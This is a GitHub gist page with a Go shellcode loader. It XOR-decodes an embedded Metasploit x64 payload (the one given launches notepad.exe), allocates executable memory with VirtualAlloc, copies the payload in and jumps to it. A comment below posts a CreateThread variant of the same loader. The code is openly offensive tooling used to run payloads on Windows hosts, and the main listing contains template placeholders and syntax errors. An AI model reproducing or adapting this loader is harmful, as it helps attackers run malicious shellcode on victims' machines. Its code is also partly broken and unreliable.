Created
May 13, 2020 21:15
-
-
Save mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d to your computer and use it in GitHub Desktop.
Simple Shellcode loader implemented in Golang
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// Simple Shellcode loader implemented in Golang. | |
// | |
// Compilation: | |
// $ go build -o foo.exe shellcodeLoader.go | |
// | |
// Mariusz B. / mgeeky (@mariuszbit), '20 | |
// <[email protected]> | |
// | |
package main | |
import ( | |
"syscall" | |
"unsafe" | |
) | |
const ( | |
MEM_COMMIT = 0x1000 | |
MEM_RESERVE = 0x2000 | |
PAGE_EXECUTE_READWRITE = 0x40 | |
KEY_1 = $KEY_1 | |
KEY_2 = $KEY_2 | |
) | |
var ( | |
kernel32 = syscall.MustLoadDLL("kernel32.dll") | |
ntdll = syscall.MustLoadDLL("ntdll.dll") | |
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") | |
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") | |
) | |
func main() { | |
// | |
// simple x64 Metasploit payload launching notepad.exe | |
// | |
var xorKey = 0 | |
var xoredShellcode := [] byte { | |
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, | |
0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, | |
0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, | |
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, | |
0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, | |
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, | |
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, | |
0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, | |
0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, | |
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, | |
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, | |
0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, | |
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, | |
0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, | |
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, | |
0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x6e, 0x6f, 0x74, 0x65, 0x70, | |
0x61, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00 | |
} | |
var shellcode [] byte | |
for i := 0; i < len(xoredShellcode); i++ { | |
shellcode = append(shellcode, xoredShellcode[i] ^ xorKey) | |
} | |
addr, _, err := VirtualAlloc.Call( | |
0, | |
uintptr(len(shellcode)), | |
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE | |
) | |
if err != nil && err.Error() != "The operation completed successfully." { | |
syscall.Exit(0) | |
} | |
_, _, err = RtlCopyMemory.Call( | |
addr, | |
(uintptr)(unsafe.Pointer(&shellcode[0])), | |
uintptr(len(shellcode)) | |
) | |
if err != nil && err.Error() != "The operation completed successfully." { | |
syscall.Exit(0) | |
} | |
// jump to shellcode | |
syscall.Syscall(addr, 0, 0, 0, 0) | |
} |
,<>573
thanks for the really pro example. what worked for me though was to use CreateThread instead.
package main
import (
"syscall"
"unsafe"
"time"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
CreateThread = kernel32.MustFindProc("CreateThread")
)
func main() {
shellcode := [] byte ("\x90\x90\x90\x90\xcc\xcc\xcc\xcc")
addr, _, err := VirtualAlloc.Call(
0,
uintptr(len(shellcode)),
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
// jump to shellcode
//syscall.Syscall(addr, 0, 0, 0, 0)
_, _, err = CreateThread.Call(
0, // [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
0, // [in] SIZE_T dwStackSize,
addr, // shellcode address
0, // [in, optional] __drv_aliasesMem LPVOID lpParameter,
0, // [in] DWORD dwCreationFlags,
0, // [out, optional] LPDWORD lpThreadId
)
time.Sleep(1*time.Second)
}
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
,<>573